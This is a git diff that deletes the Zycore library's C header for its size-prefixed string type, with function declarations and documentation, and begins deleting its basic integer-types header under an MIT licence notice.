@file - * Implements a string type. - */ - -#ifndef ZYCORE_STRING_H -#define ZYCORE_STRING_H - -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* ============================================================================================== */ -/* Constants */ -/* ============================================================================================== */ - -/** - * The initial minimum capacity (number of characters) for all dynamically allocated - * string instances - not including the terminating '\0'-character. - */ -#define ZYAN_STRING_MIN_CAPACITY 32 - -/** - * The default growth factor for all string instances. - */ -#define ZYAN_STRING_DEFAULT_GROWTH_FACTOR 2.00f - -/** - * The default shrink threshold for all string instances. - */ -#define ZYAN_STRING_DEFAULT_SHRINK_THRESHOLD 0.25f - -/* ============================================================================================== */ -/* Enums and types */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* String flags */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanStringFlags` datatype. - */ -typedef ZyanU8 ZyanStringFlags; - -/** - * The string uses a custom user-defined buffer with a fixed capacity. - */ -#define ZYAN_STRING_HAS_FIXED_CAPACITY 0x01 // (1 << 0) - -/* ---------------------------------------------------------------------------------------------- */ -/* String */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanString` struct. - * - * The `ZyanString` type is implemented as a size-prefixed string - which allows for a lot of - * performance optimizations. - * Nevertheless null-termination is guaranteed at all times to provide maximum compatibility with - * default C-style strings (use `ZyanStringGetData` to access the C-style string). - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZyanString_ -{ - /** - * String flags. - */ - ZyanStringFlags flags; - /** - * The vector that contains the actual string. - */ - ZyanVector vector; -} ZyanString; - -/* ---------------------------------------------------------------------------------------------- */ -/* View */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines the `ZyanStringView` struct. - * - * The `ZyanStringView` type provides a view inside a string (`ZyanString` instances, null- - * terminated C-style strings, or even not-null-terminated custom strings). A view is immutable - * by design and can't be directly converted to a C-style string. - * - * Views might become invalid (e.g. pointing to invalid memory), if the underlying string gets - * destroyed or resized. - * - * The `ZYAN_STRING_TO_VIEW` macro can be used to cast a `ZyanString` to a `ZyanStringView` pointer - * without any runtime overhead. - * Casting a view to a normal string is not supported and will lead to unexpected behavior (use - * `ZyanStringDuplicate` to create a deep-copy instead). - * - * All fields in this struct should be considered as "private". Any changes may lead to unexpected - * behavior. - */ -typedef struct ZyanStringView_ -{ - /** - * The string data. - * - * The view internally re-uses the normal string struct to allow casts without any runtime - * overhead. - */ - ZyanString string; -} ZyanStringView; - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Macros */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* General */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Defines an uninitialized `ZyanString` instance. - */ -#define ZYAN_STRING_INITIALIZER \ - { \ - /* flags */ 0, \ - /* vector */ ZYAN_VECTOR_INITIALIZER \ - } - -/* ---------------------------------------------------------------------------------------------- */ -/* Helper macros */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Casts a `ZyanString` pointer to a constant `ZyanStringView` pointer. - */ -#define ZYAN_STRING_TO_VIEW(string) (const ZyanStringView*)(string) - -/** - * Defines a `ZyanStringView` struct that provides a view into a static C-style string. - * - * @param string The C-style string. - */ -#define ZYAN_DEFINE_STRING_VIEW(string) \ - { \ - /* string */ \ - { \ - /* flags */ 0, \ - /* vector */ \ - { \ - /* allocator */ ZYAN_NULL, \ - /* growth_factor */ 1.0f, \ - /* shrink_threshold */ 0.0f, \ - /* size */ sizeof(string), \ - /* capacity */ sizeof(string), \ - /* element_size */ sizeof(char), \ - /* destructor */ ZYAN_NULL, \ - /* data */ (char*)(string) \ - } \ - } \ - } - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ -/* Exported functions */ -/* ============================================================================================== */ - -/* ---------------------------------------------------------------------------------------------- */ -/* Constructor and destructor */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanString` instance. - * - * @param string A pointer to the `ZyanString` instance. - * @param capacity The initial capacity (number of characters). - * - * @return A zyan status code. - * - * The memory for the string is dynamically allocated by the default allocator using the default - * growth factor of `2.0f` and the default shrink threshold of `0.25f`. - * - * The allocated buffer will be at least one character larger than the given `capacity`, to reserve - * space for the terminating '\0'. - * - * Finalization with `ZyanStringDestroy` is required for all strings created by this function. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringInit(ZyanString* string, ZyanUSize capacity); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes the given `ZyanString` instance and sets a custom `allocator` and memory - * allocation/deallocation parameters. - * - * @param string A pointer to the `ZyanString` instance. - * @param capacity The initial capacity (number of characters). - * @param allocator A pointer to a `ZyanAllocator` instance. - * @param growth_factor The growth factor (from `1.0f` to `x.xf`). - * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). - * - * @return A zyan status code. - * - * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables - * dynamic shrinking. - * - * The allocated buffer will be at least one character larger than the given `capacity`, to reserve - * space for the terminating '\0'. - * - * Finalization with `ZyanStringDestroy` is required for all strings created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInitEx(ZyanString* string, ZyanUSize capacity, - ZyanAllocator* allocator, float growth_factor, float shrink_threshold); - -/** - * Initializes the given `ZyanString` instance and configures it to use a custom user - * defined buffer with a fixed size. - * - * @param string A pointer to the `ZyanString` instance. - * @param buffer A pointer to the buffer that is used as storage for the string. - * @param capacity The maximum capacity (number of characters) of the buffer, including - * the terminating '\0'. - * - * @return A zyan status code. - * - * Finalization is not required for strings created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInitCustomBuffer(ZyanString* string, char* buffer, - ZyanUSize capacity); - -/** - * Destroys the given `ZyanString` instance. - * - * @param string A pointer to the `ZyanString` instance. - * - * @return A zyan status code. - * - */ -ZYCORE_EXPORT ZyanStatus ZyanStringDestroy(ZyanString* string); - -/* ---------------------------------------------------------------------------------------------- */ -/* Duplication */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanString` instance by duplicating an existing string. - * - * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. - * @param source A pointer to the source string. - * @param capacity The initial capacity (number of characters). - * - * This value is automatically adjusted to the size of the source string, if - * a smaller value was passed. - * - * @return A zyan status code. - * - * The behavior of this function is undefined, if `source` is a view into the `destination` - * string or `destination` points to an already initialized `ZyanString` instance. - * - * The memory for the string is dynamically allocated by the default allocator using the default - * growth factor of `2.0f` and the default shrink threshold of `0.25f`. - * - * The allocated buffer will be at least one character larger than the given `capacity`, to reserve - * space for the terminating '\0'. - * - * Finalization with `ZyanStringDestroy` is required for all strings created by this function. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringDuplicate(ZyanString* destination, - const ZyanStringView* source, ZyanUSize capacity); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanString` instance by duplicating an existing string and sets a - * custom `allocator` and memory allocation/deallocation parameters. - * - * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. - * @param source A pointer to the source string. - * @param capacity The initial capacity (number of characters). - - * This value is automatically adjusted to the size of the source - * string, if a smaller value was passed. - * @param allocator A pointer to a `ZyanAllocator` instance. - * @param growth_factor The growth factor (from `1.0f` to `x.xf`). - * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). - * - * @return A zyan status code. - * - * The behavior of this function is undefined, if `source` is a view into the `destination` - * string or `destination` points to an already initialized `ZyanString` instance. - * - * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables - * dynamic shrinking. - * - * The allocated buffer will be at least one character larger than the given `capacity`, to reserve - * space for the terminating '\0'. - * - * Finalization with `ZyanStringDestroy` is required for all strings created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringDuplicateEx(ZyanString* destination, - const ZyanStringView* source, ZyanUSize capacity, ZyanAllocator* allocator, - float growth_factor, float shrink_threshold); - -/** - * Initializes a new `ZyanString` instance by duplicating an existing string and - * configures it to use a custom user defined buffer with a fixed size. - * - * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. - * @param source A pointer to the source string. - * @param buffer A pointer to the buffer that is used as storage for the string. - * @param capacity The maximum capacity (number of characters) of the buffer, including the - * terminating '\0'. - - * This function will fail, if the capacity of the buffer is less or equal to - * the size of the source string. - * - * @return A zyan status code. - * - * The behavior of this function is undefined, if `source` is a view into the `destination` - * string or `destination` points to an already initialized `ZyanString` instance. - * - * Finalization is not required for strings created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringDuplicateCustomBuffer(ZyanString* destination, - const ZyanStringView* source, char* buffer, ZyanUSize capacity); - -/* ---------------------------------------------------------------------------------------------- */ -/* Concatenation */ -/* ---------------------------------------------------------------------------------------------- */ - -#ifndef ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanString` instance by concatenating two existing strings. - * - * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. - * - * This function will fail, if the destination `ZyanString` instance equals - * one of the source strings. - * @param s1 A pointer to the first source string. - * @param s2 A pointer to the second source string. - * @param capacity The initial capacity (number of characters). - - * This value is automatically adjusted to the combined size of the source - * strings, if a smaller value was passed. - * - * @return A zyan status code. - * - * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` - * string or `destination` points to an already initialized `ZyanString` instance. - * - * The memory for the string is dynamically allocated by the default allocator using the default - * growth factor of `2.0f` and the default shrink threshold of `0.25f`. - * - * The allocated buffer will be at least one character larger than the given `capacity`, to reserve - * space for the terminating '\0'. - * - * Finalization with `ZyanStringDestroy` is required for all strings created by this function. - */ -ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringConcat(ZyanString* destination, - const ZyanStringView* s1, const ZyanStringView* s2, ZyanUSize capacity); - -#endif // ZYAN_NO_LIBC - -/** - * Initializes a new `ZyanString` instance by concatenating two existing strings and sets - * a custom `allocator` and memory allocation/deallocation parameters. - * - * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. - * - * This function will fail, if the destination `ZyanString` instance - * equals one of the source strings. - * @param s1 A pointer to the first source string. - * @param s2 A pointer to the second source string. - * @param capacity The initial capacity (number of characters). - * - * This value is automatically adjusted to the combined size of the - * source strings, if a smaller value was passed. - * @param allocator A pointer to a `ZyanAllocator` instance. - * @param growth_factor The growth factor (from `1.0f` to `x.xf`). - * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). - * - * @return A zyan status code. - * - * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` - * string or `destination` points to an already initialized `ZyanString` instance. - * - * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables - * dynamic shrinking. - * - * The allocated buffer will be at least one character larger than the given `capacity`, to reserve - * space for the terminating '\0'. - * - * Finalization with `ZyanStringDestroy` is required for all strings created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringConcatEx(ZyanString* destination, const ZyanStringView* s1, - const ZyanStringView* s2, ZyanUSize capacity, ZyanAllocator* allocator, float growth_factor, - float shrink_threshold); - -/** - * Initializes a new `ZyanString` instance by concatenating two existing strings and - * configures it to use a custom user defined buffer with a fixed size. - * - * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. - * - * This function will fail, if the destination `ZyanString` instance equals - * one of the source strings. - * @param s1 A pointer to the first source string. - * @param s2 A pointer to the second source string. - * @param buffer A pointer to the buffer that is used as storage for the string. - * @param capacity The maximum capacity (number of characters) of the buffer. - * - * This function will fail, if the capacity of the buffer is less or equal to - * the combined size of the source strings. - * - * @return A zyan status code. - * - * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` - * string or `destination` points to an already initialized `ZyanString` instance. - * - * Finalization is not required for strings created by this function. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringConcatCustomBuffer(ZyanString* destination, - const ZyanStringView* s1, const ZyanStringView* s2, char* buffer, ZyanUSize capacity); - -/* ---------------------------------------------------------------------------------------------- */ -/* Views */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns a view inside an existing view/string. - * - * @param view A pointer to the `ZyanStringView` instance. - * @param source A pointer to the source string. - * - * @return A zyan status code. - * - * The `ZYAN_STRING_TO_VEW` macro can be used to pass any `ZyanString` instance as value for the - * `source` string. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideView(ZyanStringView* view, - const ZyanStringView* source); - -/** - * Returns a view inside an existing view/string starting from the given `index`. - * - * @param view A pointer to the `ZyanStringView` instance. - * @param source A pointer to the source string. - * @param index The start index. - * @param count The number of characters. - * - * @return A zyan status code. - * - * The `ZYAN_STRING_TO_VEW` macro can be used to pass any `ZyanString` instance as value for the - * `source` string. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideViewEx(ZyanStringView* view, - const ZyanStringView* source, ZyanUSize index, ZyanUSize count); - -/** - * Returns a view inside a null-terminated C-style string. - * - * @param view A pointer to the `ZyanStringView` instance. - * @param string The C-style string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideBuffer(ZyanStringView* view, const char* string); - -/** - * Returns a view inside a character buffer with custom length. - * - * @param view A pointer to the `ZyanStringView` instance. - * @param buffer A pointer to the buffer containing the string characters. - * @param length The length of the string (number of characters). - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideBufferEx(ZyanStringView* view, const char* buffer, - ZyanUSize length); - -/** - * Returns the size (number of characters) of the view. - * - * @param view A pointer to the `ZyanStringView` instance. - * @param size Receives the size (number of characters) of the view. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringViewGetSize(const ZyanStringView* view, ZyanUSize* size); - -/** - * Returns the C-style string of the given `ZyanString` instance. - * - * @warning The string is not guaranteed to be null terminated! - * - * @param string A pointer to the `ZyanStringView` instance. - * @param value Receives a pointer to the C-style string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringViewGetData(const ZyanStringView* view, const char** buffer); - -/* ---------------------------------------------------------------------------------------------- */ -/* Character access */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the character at the given `index`. - * - * @param string A pointer to the `ZyanStringView` instance. - * @param index The character index. - * @param value Receives the desired character of the string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringGetChar(const ZyanStringView* string, ZyanUSize index, - char* value); - -/** - * Returns a pointer to the character at the given `index`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The character index. - * @param value Receives a pointer to the desired character in the string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringGetCharMutable(ZyanString* string, ZyanUSize index, - char** value); - -/** - * Assigns a new value to the character at the given `index`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The character index. - * @param value The character to assign. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringSetChar(ZyanString* string, ZyanUSize index, char value); - -/* ---------------------------------------------------------------------------------------------- */ -/* Insertion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Inserts the content of the source string in the destination string at the given `index`. - * - * @param destination The destination string. - * @param index The insert index. - * @param source The source string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInsert(ZyanString* destination, ZyanUSize index, - const ZyanStringView* source); - -/** - * Inserts `count` characters of the source string in the destination string at the given - * `index`. - * - * @param destination The destination string. - * @param destination_index The insert index. - * @param source The source string. - * @param source_index The index of the first character to be inserted from the source - * string. - * @param count The number of chars to insert from the source string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringInsertEx(ZyanString* destination, ZyanUSize destination_index, - const ZyanStringView* source, ZyanUSize source_index, ZyanUSize count); - -/* ---------------------------------------------------------------------------------------------- */ -/* Appending */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Appends the content of the source string to the end of the destination string. - * - * @param destination The destination string. - * @param source The source string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringAppend(ZyanString* destination, const ZyanStringView* source); - -/** - * Appends `count` characters of the source string to the end of the destination string. - * - * @param destination The destination string. - * @param source The source string. - * @param source_index The index of the first character to be appended from the source string. - * @param count The number of chars to append from the source string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringAppendEx(ZyanString* destination, const ZyanStringView* source, - ZyanUSize source_index, ZyanUSize count); - -/* ---------------------------------------------------------------------------------------------- */ -/* Deletion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Deletes characters from the given string, starting at `index`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The index of the first character to delete. - * @param count The number of characters to delete. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringDelete(ZyanString* string, ZyanUSize index, ZyanUSize count); - -/** - * Deletes all remaining characters from the given string, starting at `index`. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The index of the first character to delete. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringTruncate(ZyanString* string, ZyanUSize index); - -/** - * Erases the given string. - * - * @param string A pointer to the `ZyanString` instance. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringClear(ZyanString* string); - -/* ---------------------------------------------------------------------------------------------- */ -/* Searching */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Searches for the first occurrence of `needle` in the given `haystack` starting from the - * left. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringLPos(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index); - -/** - * Searches for the first occurrence of `needle` in the given `haystack` starting from the - * left. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * @param index The start index. - * @param count The maximum number of characters to iterate, beginning from the start - * `index`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringLPosEx(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); - -/** - * Performs a case-insensitive search for the first occurrence of `needle` in the given - * `haystack` starting from the left. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringLPosI(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index); - -/** - * Performs a case-insensitive search for the first occurrence of `needle` in the given - * `haystack` starting from the left. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * @param index The start index. - * @param count The maximum number of characters to iterate, beginning from the start - * `index`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringLPosIEx(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); - -/** - * Searches for the first occurrence of `needle` in the given `haystack` starting from the - * right. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringRPos(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index); - -/** - * Searches for the first occurrence of `needle` in the given `haystack` starting from the - * right. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * @param index The start index. - * @param count The maximum number of characters to iterate, beginning from the start - * `index`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringRPosEx(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); - -/** - * Performs a case-insensitive search for the first occurrence of `needle` in the given - * `haystack` starting from the right. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringRPosI(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index); - -/** - * Performs a case-insensitive search for the first occurrence of `needle` in the given - * `haystack` starting from the right. - * - * @param haystack The string to search in. - * @param needle The sub-string to search for. - * @param found_index A pointer to a variable that receives the index of the first occurrence of - * `needle`. - * @param index The start index. - * @param count The maximum number of characters to iterate, beginning from the start - * `index`. - * - * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - * - * The `found_index` is set to `-1`, if the needle was not found. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringRPosIEx(const ZyanStringView* haystack, - const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); - -/* ---------------------------------------------------------------------------------------------- */ -/* Comparing */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Compares two strings. - * - * @param s1 The first string - * @param s2 The second string. - * @param result Receives the comparison result. - * - * Values: - * - `result < 0` -> The first character that does not match has a lower value - * in `s1` than in `s2`. - * - `result == 0` -> The contents of both strings are equal. - * - `result > 0` -> The first character that does not match has a greater value - * in `s1` than in `s2`. - * - * @return `ZYAN_STATUS_TRUE`, if the strings are equal, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringCompare(const ZyanStringView* s1, const ZyanStringView* s2, - ZyanI32* result); - -/** - * Performs a case-insensitive comparison of two strings. - * - * @param s1 The first string - * @param s2 The second string. - * @param result Receives the comparison result. - * - * Values: - * - `result < 0` -> The first character that does not match has a lower value - * in `s1` than in `s2`. - * - `result == 0` -> The contents of both strings are equal. - * - `result > 0` -> The first character that does not match has a greater value - * in `s1` than in `s2`. - * - * @return `ZYAN_STATUS_TRUE`, if the strings are equal, `ZYAN_STATUS_FALSE`, if not, or another - * zyan status code, if an error occured. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringCompareI(const ZyanStringView* s1, const ZyanStringView* s2, - ZyanI32* result); - -/* ---------------------------------------------------------------------------------------------- */ -/* Case conversion */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Converts the given string to lowercase letters. - * - * @param string A pointer to the `ZyanString` instance. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringToLowerCase(ZyanString* string); - -/** - * Converts `count` characters of the given string to lowercase letters. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The start index. - * @param count The number of characters to convert, beginning from the start `index`. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringToLowerCaseEx(ZyanString* string, ZyanUSize index, - ZyanUSize count); - -/** - * Converts the given string to uppercase letters. - * - * @param string A pointer to the `ZyanString` instance. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringToUpperCase(ZyanString* string); - -/** - * Converts `count` characters of the given string to uppercase letters. - * - * @param string A pointer to the `ZyanString` instance. - * @param index The start index. - * @param count The number of characters to convert, beginning from the start `index`. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringToUpperCaseEx(ZyanString* string, ZyanUSize index, - ZyanUSize count); - -/* ---------------------------------------------------------------------------------------------- */ -/* Memory management */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Resizes the given `ZyanString` instance. - * - * @param string A pointer to the `ZyanString` instance. - * @param size The new size of the string. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringResize(ZyanString* string, ZyanUSize size); - -/** - * Changes the capacity of the given `ZyanString` instance. - * - * @param string A pointer to the `ZyanString` instance. - * @param capacity The new minimum capacity of the string. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringReserve(ZyanString* string, ZyanUSize capacity); - -/** - * Shrinks the capacity of the given string to match it's size. - * - * @param string A pointer to the `ZyanString` instance. - * - * @return A zyan status code. - * - * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified - * `ZyanString` instance. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringShrinkToFit(ZyanString* string); - -/* ---------------------------------------------------------------------------------------------- */ -/* Information */ -/* ---------------------------------------------------------------------------------------------- */ - -/** - * Returns the current capacity of the string. - * - * @param string A pointer to the `ZyanString` instance. - * @param capacity Receives the size of the string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringGetCapacity(const ZyanString* string, ZyanUSize* capacity); - -/** - * Returns the current size (number of characters) of the string (excluding the - * terminating zero character). - * - * @param string A pointer to the `ZyanString` instance. - * @param size Receives the size (number of characters) of the string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringGetSize(const ZyanString* string, ZyanUSize* size); - -/** - * Returns the C-style string of the given `ZyanString` instance. - * - * @param string A pointer to the `ZyanString` instance. - * @param value Receives a pointer to the C-style string. - * - * @return A zyan status code. - */ -ZYCORE_EXPORT ZyanStatus ZyanStringGetData(const ZyanString* string, const char** value); - -/* ---------------------------------------------------------------------------------------------- */ - -/* ============================================================================================== */ - -#ifdef __cplusplus -} -#endif - -#endif // ZYCORE_STRING_H diff --git a/src/Theodosius/Zycore/Types.h b/src/Theodosius/Zycore/Types.h deleted file mode 100644 index 74fe905..0000000 --- a/src/Theodosius/Zycore/Types.h +++ /dev/null @@ -1,195 +0,0 @@ -/*************************************************************************************************** - - Zyan Core Library (Zyan-C) - - Original Author : Florian Bernd, Joel Hoener - - * Permission is hereby granted, free of charge, to any person obtaining a copy - * of this software and associated documentation files (the "Software"), to deal - * in the Software without restriction, including without limitation the rights - * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell - * copies of the Software, and to permit persons to whom the Software is - * furnished to do so, subject to the following conditions: - * - * The above copyright notice and this permission notice shall be included in all - * copies or substantial portions of the Software. - * - * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER - * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, - * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE - * SOFTWARE. - -***************************************************************************************************/ - -/** - * @file - * Includes and defines some default data types. - */ - -#ifndef ZYCORE_TYPES_H -#define ZYCORE_TYPES_H - -#include - -/* ============================================================================================== */ -/* Integer types */ -/* ============================================================================================== */ - -#if defined(ZYAN_NO_LIBC) || \ - (defined(ZYAN_MSVC) && defined(ZYAN_KERNEL)) // The WDK LibC lacks stdint.h. - // No LibC mode, use compiler built-in types / macros. -# if defined(ZYAN_MSVC) || defined(ZYAN_ICC) - typedef unsigned __int8 ZyanU8; - typedef unsigned __int16 ZyanU16; - typedef unsigned __int32 ZyanU32; - typedef unsigned __int64 ZyanU64; - typedef signed __int8 ZyanI8; - typedef signed __int16 ZyanI16; - typedef signed __int32 ZyanI32; - typedef signed __int64 ZyanI64; -# if _WIN64 - typedef ZyanU64 ZyanUSize; - typedef ZyanI64 ZyanISize; - typedef ZyanU64 ZyanUPointer; - typedef ZyanI64 ZyanIPointer; -# else - typedef ZyanU32 ZyanUSize; - typedef ZyanI32 ZyanISize; - typedef 